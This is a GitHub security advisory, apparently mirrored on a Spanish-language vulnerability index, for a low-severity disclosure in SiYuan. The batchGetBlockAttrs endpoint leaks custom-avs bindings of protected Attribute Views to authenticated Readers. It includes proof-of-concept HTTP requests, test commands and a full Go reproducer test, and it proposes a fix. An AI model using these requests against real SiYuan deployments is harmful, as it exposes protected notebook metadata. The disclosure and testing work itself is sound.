GHSA-J374-5F64-J274
Authenticated Reader batch attributes reveal private Attribute View bindings
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-J374-5F64-J274 divulgada · CVSS 4.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Authenticated Reader batch attributes reveal private Attribute View bindings
Summary
At the pinned SiYuan revision, an authenticated Reader can call `POST /api/attr/batchGetBlockAttrs` for a publish-visible carrier block and receive its complete IAL, including `custom-avs` identifiers for Attribute Views that remain outside the Reader's publish and notebook authorization. The paired carrier without that binding omits `custom-avs`, and the protected Attribute View itself remains denied through `POST /api/attr/getBlockAttrs`, demonstrating a field-level confidentiality failure at the publish boundary.
Technical Details
`registerAttrRoutes` exposes `POST /api/attr/batchGetBlockAttrs`, and the API contract marks it `AuthenticatedAccess`. `contractRouteHandlers` applies the normal `CheckAuth` middleware, so a normal authenticated Reader reaches the handler without Administrator or write access.
The shipped handler is:
var batchGetBlockAttrs = contractHandler(apicontract.BatchGetBlockAttrs, func(c *gin.Context, request apicontract.BlockIDsRequest) apicontract.Response[map[string]map[string]string] {
ids := filterBlockIDsByPublishAccess(c, request.IDs, "")
return apicontract.Success(sql.BatchGetBlockAttrs(ids))
})The filter checks the requested carrier block IDs, then `sql.BatchGetBlockAttrs` returns the complete cached IAL map for each surviving ID. It does not apply a field-level publish check to values such as `custom-avs`. SiYuan stores `custom-avs` as Attribute View IDs; the Attribute View name resolver later treats those IDs as references to the corresponding database. Returning the binding therefore discloses protected database metadata even when the Attribute View block itself is not publish-readable.
The neighboring single-block endpoint follows the missing check explicitly: `getBlockAttrs` calls `checkBlockPublishAccess` on the requested ID before returning its IAL. In the proof, the protected Attribute View returns failure while the visible carrier's batch response still contains the protected binding. The encrypted-notebook documentation states that a publish Reader cannot enumerate or read protected notebook content, which establishes the intended boundary for this metadata.
The ordinary attacker capability is an authenticated Reader who knows a block ID that is already visible in the published workspace. The attacker supplies only that ID in the JSON request. They do not need the protected notebook password, an Editor privilege, a template write, or a victim action.
PoV
The request sent by the reproducer is:
POST /api/attr/batchGetBlockAttrs
Content-Type: application/json
{"ids":["20261116000001-carrier1"]}The fixture indexes `20261116000001-carrier1` as a visible carrier and gives it `public-marker=carrier` plus `custom-avs=20261116000002-privateav1` in the attack arm. The Attribute View ID is indexed separately with `private-marker=private` and a publish rule of `Visible=false` with a password. The control arm is identical except that the carrier has no `custom-avs` key.
The authorization control sends the protected ID directly:
POST /api/attr/getBlockAttrs
Content-Type: application/json
{"id":"20261116000002-privateav1"}It returns `code=-1` in both arms, while the batch request returns `code=0` for the visible carrier.
PoC
Build and run the test against the pinned checkout from the `kernel` Go module root. The build may fetch the target's Go modules once; the two invocations below are networkless and differ only in the carrier IAL binding.
cd kernel
go test -mod=mod -c ./api -run '^TestBatchGetBlockAttrsCustomAVBoundary$' -o custom-av-probe.test
CUSTOM_AV_PROBE_VARIANT=attack ./custom-av-probe.test -test.run '^TestBatchGetBlockAttrsCustomAVBoundary$' -test.count=1 -test.v
CUSTOM_AV_PROBE_VARIANT=control ./custom-av-probe.test -test.run '^TestBatchGetBlockAttrsCustomAVBoundary$' -test.count=1 -test.vThe commands were run against source revision `be17ed1e0510bb6371cb8a162e16898a697fa118`. The first JSON line below is the attack-arm result and the second is the control-arm result; the test itself prints no arm labels.
{"custom_avs":"20261116000002-privateav1","protected_code":-1,"batch_code":0}
{"custom_avs":"","protected_code":-1,"batch_code":0}Both processes exit successfully. The test invokes the shipped `contractRouteHandlers` for the registered batch and single-attribute routes and sets the request context to `RoleReader`; it does not replace the target's authorization functions. The attack execution reaches `batchGetBlockAttrs` at `kernel/api/attr.go:23-26`, and the negative control reaches the same code with the binding removed.
Impact
This is a confidentiality disclosure across SiYuan's publish/password boundary. A normal authenticated Reader can learn the identifier and existence of an Attribute View in a protected notebook by querying a visible carrier block, revealing private database structure that the Reader is not authorized to enumerate. The proof does not show access to the protected view's rows or content, and it shows no integrity or availability impact.
The advisory metadata classifies this as CWE-200. The conservative CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` (base 4.3, Medium): the API is network reachable; a known carrier ID and an authenticated Reader are sufficient; no user interaction is required; confidentiality is low because the leaked value is protected binding metadata; and integrity, availability, and scope remain unchanged.
The existing Attribute-View SQL-template report is materially different: it requires a low-privilege Editor to mutate a published view and discloses protected span or block content through `renderAttributeView`. This issue requires only Reader access to an already-visible carrier and discloses the `custom-avs` binding through `batchGetBlockAttrs` without any template mutation or protected-content read.
Suggested Fix
Apply publish and notebook authorization to every IAL field returned by read-only attribute endpoints, not only to the carrier block ID. For `custom-avs`, parse each referenced Attribute View ID and remove or redact bindings whose view and containing notebook are not readable by the current Reader. The batch endpoint should use the same field-level rule as the single-block endpoint and as Attribute View rendering, while preserving bindings for views the Reader can legitimately access.
Add regression coverage with a visible carrier bound to a password-gated or encrypted Attribute View, a no-binding carrier control, and a visible Attribute View control. A Reader batch request must omit the protected binding, the direct protected-view request must remain denied, and an authorized request must still return the binding for an accessible view.
Affected Package/Versions
- Package: `siyuan-note/siyuan` (GitHub ecosystem: `npm`).
- Vulnerable version range: exact tested revision `be17ed1e0510bb6371cb8a162e16898a697fa118`.
- The pinned current head is the same tested revision and exhibits the behavior above.
- No patched version was identified; no broader release range is inferred from this single pinned revision.
Advisory History
The strongest public comparison is GHSA-v758-8w88-pfr2 https://github.com/siyuan-note/siyuan/security/advisories/GHSA-v758-8w88-pfr2, “Publish readers learn backlink block IDs and reference counts of password-protected and publish-disabled documents via `/api/block/getDocInfo` and `getDocsInfo`.” That advisory's attacker is a publish Reader requesting a published document; its sink is backlink `RefIDs` and `RefCount` sourced from protected documents, and its proposed fix is per-reference publish filtering. This report instead requires an authenticated Reader who knows a visible carrier ID, reaches `POST /api/attr/batchGetBlockAttrs`, and discloses the carrier's `custom-avs` binding through complete IAL serialization. Its fix surface is field-level publish filtering or redaction in that batch serializer.
The captured public issue and commit searches for `batchGetBlockAttrs`, `custom-avs`, and publish-reader history did not identify an earlier disclosure of this sink. The publish-reader search returned PR #18898 https://github.com/siyuan-note/siyuan/pull/18898, “security: harden publish-reader authorization boundaries”; that pull request is closed and unmerged, so it is hardening context rather than evidence that this endpoint was patched. A dedicated pull-request search for every query and a complete public advisory inventory were unavailable in the captured checks, so no broader absence claim is made.
The duplicate review checked prior submitted reports, ready-for-review reports, and completed-but-unsubmitted reports. The complete local inventory retained for this review is the ready-for-review set; no submitted or completed-but-unsubmitted report in the checked records covers this endpoint's `custom-avs` serializer. The existing Attribute-View SQL-template report is also distinct: it requires a low-privilege Editor to mutate a published view and discloses protected span or block content through `renderAttributeView`, rather than Reader-only metadata from `batchGetBlockAttrs`.
References
- Batch attribute handler and single-attribute authorization
https://github.com/siyuan-note/siyuan/blob/be17ed1e0510bb6371cb8a162e16898a697fa118/kernel/api/attr.go#L23-L38 - Attribute route registration
https://github.com/siyuan-note/siyuan/blob/be17ed1e0510bb6371cb8a162e16898a697fa118/kernel/api/router.go#L531-L536 - Authenticated API contract
https://github.com/siyuan-note/siyuan/blob/be17ed1e0510bb6371cb8a162e16898a697fa118/kernel/apicontract/contracts.go#L341-L343 - Contract middleware and role checks
https://github.com/siyuan-note/siyuan/blob/be17ed1e0510bb6371cb8a162e16898a697fa118/kernel/api/contract_routes.go#L17-L32 - Complete IAL retrieval
https://github.com/siyuan-note/siyuan/blob/be17ed1e0510bb6371cb8a162e16898a697fa118/kernel/sql/block.go#L418-L449 - Attribute View ID resolution
https://github.com/siyuan-note/siyuan/blob/be17ed1e0510bb6371cb8a162e16898a697fa118/kernel/model/attribute_view.go#L5554-L5579 - Attribute View rendering of resolved bindings
https://github.com/siyuan-note/siyuan/blob/be17ed1e0510bb6371cb8a162e16898a697fa118/kernel/model/render.go#L259-L265 - Encrypted notebook access boundary
https://github.com/siyuan-note/siyuan/blob/be17ed1e0510bb6371cb8a162e16898a697fa118/docs/ENCRYPTED-NOTEBOOK.md#L517-L529 - SiYuan security policy
https://github.com/siyuan-note/siyuan/blob/be17ed1e0510bb6371cb8a162e16898a697fa118/.github/SECURITY.md - Related publish-reader advisory GHSA-v758-8w88-pfr2
https://github.com/siyuan-note/siyuan/security/advisories/GHSA-v758-8w88-pfr2 - Related publish-reader hardening PR #18898
https://github.com/siyuan-note/siyuan/pull/18898 - Distinct WebSocket advisory
https://github.com/siyuan-note/siyuan/security/advisories/GHSA-3CQJ-J5X8-J8CW - Distinct gutter-drag disclosure advisory
https://github.com/siyuan-note/siyuan/security/advisories/GHSA-CRV7-Q827-694M
Appendix: Reproducer Source
Save the following as `kernel/api/custom_av_attrs_probe_test.go` in the pinned checkout before running the commands above.
package api
import (
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"path/filepath"
"os"
"strings"
"testing"
"time"
"github.com/88250/lute/ast"
"github.com/88250/lute/parse"
"github.com/gin-gonic/gin"
"github.com/siyuan-note/siyuan/kernel/apicontract"
"github.com/siyuan-note/siyuan/kernel/cache"
"github.com/siyuan-note/siyuan/kernel/conf"
"github.com/siyuan-note/siyuan/kernel/model"
"github.com/siyuan-note/siyuan/kernel/treenode"
"github.com/siyuan-note/siyuan/kernel/util"
)
// TestBatchGetBlockAttrsCustomAVBoundary exercises the registered contract
// route. The attack and control arms differ only in the carrier's custom-avs
// IAL. The protected ID is indexed as a separate publish-denied block so that
// the response can be compared with the direct protected-block route.
func TestBatchGetBlockAttrsCustomAVBoundary(t *testing.T) {
const (
boxID = "20261116000000-boxattr1"
carrierID = "20261116000001-carrier1"
protectedAVID = "20261116000002-privateav1"
publishPass = "probe-publish-pass"
)
previousConf := model.Conf
previousBlockTreeDBPath := util.BlockTreeDBPath
previousDataDir := util.DataDir
previousLangs := util.Langs
previousPublishAccess := model.GetPublishAccess()
model.Conf = model.NewAppConf()
model.Conf.Sync.Store(conf.NewSync())
util.DataDir = t.TempDir()
util.BlockTreeDBPath = filepath.Join(util.DataDir, "blocktree.db")
util.Langs = map[string]map[int]string{"en": {15: "Block [%s] not found"}}
treenode.InitBlockTree(true)
if err := model.SetPublishAccess(model.PublishAccess{{ID: protectedAVID, Visible: false, Password: publishPass}}); err != nil {
t.Fatalf("set publish access: %v", err)
}
t.Cleanup(func() {
cache.RemoveBlockIAL(carrierID)
cache.RemoveBlockIAL(protectedAVID)
_ = model.SetPublishAccess(previousPublishAccess)
treenode.CloseDatabase()
model.Conf = previousConf
util.BlockTreeDBPath = previousBlockTreeDBPath
util.DataDir = previousDataDir
util.Langs = previousLangs
})
gin.SetMode(gin.TestMode)
for _, id := range []string{carrierID, protectedAVID} {
treenode.IndexBlockTree(&parse.Tree{
ID: id,
Box: boxID,
Path: "/" + id + ".sy",
Root: &ast.Node{ID: id, Type: ast.NodeDocument},
})
}
variant := os.Getenv("CUSTOM_AV_PROBE_VARIANT")
carrierIAL := map[string]string{"public-marker": "carrier"}
if variant == "attack" {
carrierIAL["custom-avs"] = protectedAVID
}
cache.PutBlockIAL(carrierID, carrierIAL)
cache.PutBlockIAL(protectedAVID, map[string]string{"private-marker": "private"})
deadline := time.Now().Add(2 * time.Second)
for (cache.GetBlockIAL(carrierID) == nil || cache.GetBlockIAL(protectedAVID) == nil) && time.Now().Before(deadline) {
time.Sleep(time.Millisecond)
}
if cache.GetBlockIAL(carrierID) == nil || cache.GetBlockIAL(protectedAVID) == nil {
t.Fatal("IAL cache was not populated")
}
batch := invokeBatchAttrsRoute(t, model.RoleReader, []string{carrierID})
var attrs map[string]map[string]string
if err := json.Unmarshal(batch.Data, &attrs); err != nil {
t.Fatalf("decode batch response (code=%d): %v", batch.Code, err)
}
carrierAttrs := attrs[carrierID]
protected := invokeSingleAttrsRoute(t, model.RoleReader, protectedAVID)
// Emit only the route observations. The attack and no-binding control outputs
// are compared; setup and route failures remain ordinary test failures.
fmt.Printf("{\"custom_avs\":%q,\"protected_code\":%d,\"batch_code\":%d}\n", carrierAttrs["custom-avs"], protected.Code, batch.Code)
}
type customAVRouteResponse struct {
Code int `json:"code"`
Data json.RawMessage `json:"data"`
}
func invokeBatchAttrsRoute(t *testing.T, role model.Role, ids []string) *customAVRouteResponse {
t.Helper()
path := "/api/attr/batchGetBlockAttrs"
engine := gin.New()
engine.Use(func(c *gin.Context) {
c.Set(model.RoleContextKey, role)
c.Next()
})
engine.POST(path, contractRouteHandlers(apicontract.BatchGetBlockAttrs, batchGetBlockAttrs)...)
body, err := json.Marshal(map[string]any{"ids": ids})
if err != nil {
t.Fatal(err)
}
recorder := httptest.NewRecorder()
request := httptest.NewRequest(http.MethodPost, path, strings.NewReader(string(body)))
request.Header.Set("Content-Type", "application/json")
engine.ServeHTTP(recorder, request)
response := &customAVRouteResponse{}
if err := json.Unmarshal(recorder.Body.Bytes(), response); err != nil {
t.Fatalf("decode batch envelope: %v; body=%s", err, recorder.Body.String())
}
return response
}
func invokeSingleAttrsRoute(t *testing.T, role model.Role, id string) *customAVRouteResponse {
t.Helper()
path := "/api/attr/getBlockAttrs"
engine := gin.New()
engine.Use(func(c *gin.Context) {
c.Set(model.RoleContextKey, role)
c.Next()
})
engine.POST(path, contractRouteHandlers(apicontract.GetBlockAttrs, getBlockAttrs)...)
body := `{"id":"` + id + `"}`
recorder := httptest.NewRecorder()
request := httptest.NewRequest(http.MethodPost, path, strings.NewReader(body))
request.Header.Set("Content-Type", "application/json")
engine.ServeHTTP(recorder, request)
response := &customAVRouteResponse{}
if err := json.Unmarshal(recorder.Body.Bytes(), response); err != nil {
t.Fatalf("decode single envelope: %v; body=%s", err, recorder.Body.String())
}
return response
}Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmsiyuan-note/siyuan |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/siyuan-note/siyuan/security/advisories/GHSA-j374-5f64-j274Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
